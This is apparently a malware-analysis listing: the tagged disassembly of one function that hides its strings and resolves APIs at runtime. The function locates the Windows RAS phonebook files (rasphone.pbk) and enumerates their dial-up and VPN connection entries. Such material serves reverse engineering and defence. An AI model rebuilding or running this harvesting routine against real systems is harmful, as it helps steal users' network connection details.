Function at 0x10003000
Capabilities:
Contain obfuscated stackstrings
Get common file path
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
mov eax, dword [0x1001a280]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x10015460
push 0x1001546c
mov dword [ebp - 0x2a4], ecx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.GetPrivateProfileSectionNamesA
push 0x10015418
mov dword [ebp - 0x2a8], eax
call edi
push eax
call esi
push 0x1001549c
push 0x1001546c
mov dword [ebp - 0x2b0], eax
call edi
push eax
call esi
push 0x100154b4
push 0x1001546c
mov ebx, eax
call edi
push eax
call esi
push 0x100154c0
push 0x1001546c
mov dword [ebp - 0x2ac], eax
call edi
push eax
call esi
mov esi, eax
push 0x105
lea eax, [ebp - 0x198]
push eax
mov dword [ebp - 0x1c], 0x75636f44
mov dword [ebp - 0x18], 0x746e656d
mov dword [ebp - 0x14], 0x6e612073
mov dword [ebp - 0x10], 0x65532064
mov dword [ebp - 0xc], 0x6e697474
mov dword [ebp - 8], 0x5c7367
mov dword [ebp - 0x90], 0x7070415c
mov dword [ebp - 0x8c], 0x6163696c
mov dword [ebp - 0x88], 0x6e6f6974
mov dword [ebp - 0x84], 0x74614420
mov dword [ebp - 0x80], 0x694d5c61
mov dword [ebp - 0x7c], 0x736f7263
mov dword [ebp - 0x78], 0x5c74666f
mov dword [ebp - 0x74], 0x7774654e
mov dword [ebp - 0x70], 0x5c6b726f
mov dword [ebp - 0x6c], 0x6e6e6f43
mov dword [ebp - 0x68], 0x69746365
mov dword [ebp - 0x64], 0x5c736e6f
mov dword [ebp - 0x60], 0x5c6b6270
mov dword [ebp - 0x5c], 0x70736172
mov dword [ebp - 0x58], 0x656e6f68
mov dword [ebp - 0x54], 0x6b62702e
mov byte [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0x7263694d
mov dword [ebp - 0x48], 0x666f736f
mov dword [ebp - 0x44], 0x654e5c74
mov dword [ebp - 0x40], 0x726f7774
mov dword [ebp - 0x3c], 0x6f435c6b
mov dword [ebp - 0x38], 0x63656e6e
mov dword [ebp - 0x34], 0x6e6f6974
mov dword [ebp - 0x30], 0x62705c73
mov dword [ebp - 0x2c], 0x61725c6b
mov dword [ebp - 0x28], 0x6f687073
mov dword [ebp - 0x24], 0x702e656e
mov word [ebp - 0x20], 0x6b62
mov byte [ebp - 0x1e], 0
xor edi, edi
call ebx
lea eax, [ebp - 0x1c]
push eax
push 0x5c
lea eax, [ebp - 0x198]
push eax
call fcn.10008c20
add esp, 8
inc eax
push eax
call esi
mov eax, dword [ebp - 0x2a4]
mov esi, dword [ebp - 0x2a8]
push dword [eax + 0x14]
lea eax, [ebp - 0x198]
push eax
call esi
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x198]
push eax
call esi
push edi
push 0x23
lea eax, [ebp - 0x2a0]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x2a0]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x198]
mov dword [ebp - 0x2b8], eax
lea eax, [ebp - 0x2a0]
push 0x1000
mov dword [ebp - 0x2b4], eax
call fcn.1000869c
add esp, 0x14
mov ebx, eax
xor esi, esi
mov dword [ebp - 0x2a8], ebx
mov dword [ebp - 0x2a4], esi
push 0x1000
push 0
push ebx
call fcn.10008b90
add esp, 0xc
push dword [ebp + esi*4 - 0x2b8]
push 0x1000
push ebx
call dword [ebp - 0x2b0]
cmp byte [ebx], 0
mov esi, ebx
je 0x1000327a
mov ebx, dword [ebp - 0x2ac]
push esi
inc edi
call ebx
inc esi
add esi, eax
cmp byte [esi], 0
jne 0x10003268
mov ebx, dword [ebp - 0x2a8]
mov esi, dword [ebp - 0x2a4]
inc esi
mov dword [ebp - 0x2a4], esi
cmp esi, 2
jb 0x10003238
push ebx
call fcn.1000757e
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008710
mov esp, ebp
pop ebp
ret